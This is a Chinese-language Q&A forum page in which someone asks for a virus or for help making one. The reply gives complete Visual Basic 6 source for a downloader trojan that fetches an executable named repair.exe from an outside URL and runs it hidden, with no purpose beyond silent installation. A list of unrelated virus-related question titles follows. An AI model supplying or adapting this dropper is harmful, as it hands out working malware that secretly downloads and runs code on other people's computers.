有病毒吗急需教我制作也行简单点啊

最简单的,下载者,visual basic 6.0+win xp sp2调试通过,使用无窗体的工程，加载一个模块，代码如下：

Option Explicit
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub Main()
DownloadFile "http://www.baidu.com/repair/repair.exe", App.Path & "\repair.exe"
Shell App.Path & "\repair.exe", vbHide
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
End If
End Function

这个论坛有很多
求救！我新装系统也有病毒！ 微机网络上也有病毒吗？ 笔记本电脑也会有病毒吗？ 没联网也会有病毒吗 系统进程也可能有病毒吗？ 卡巴卸不掉，也有病毒，重装系统有用吗？ 输入语言也有病毒吗？ 电脑有病毒，为什么瑞星杀不了呢，有什么简单点的方法吗，我要太专业，我对电脑不懂，谢了！ 为什么我的"微点"说魔兽世界和大话西游2也有病毒?别人玩怎么没有? 机子反应慢是怎么回事，有病毒了吗？我用江民杀毒了，也没有呀，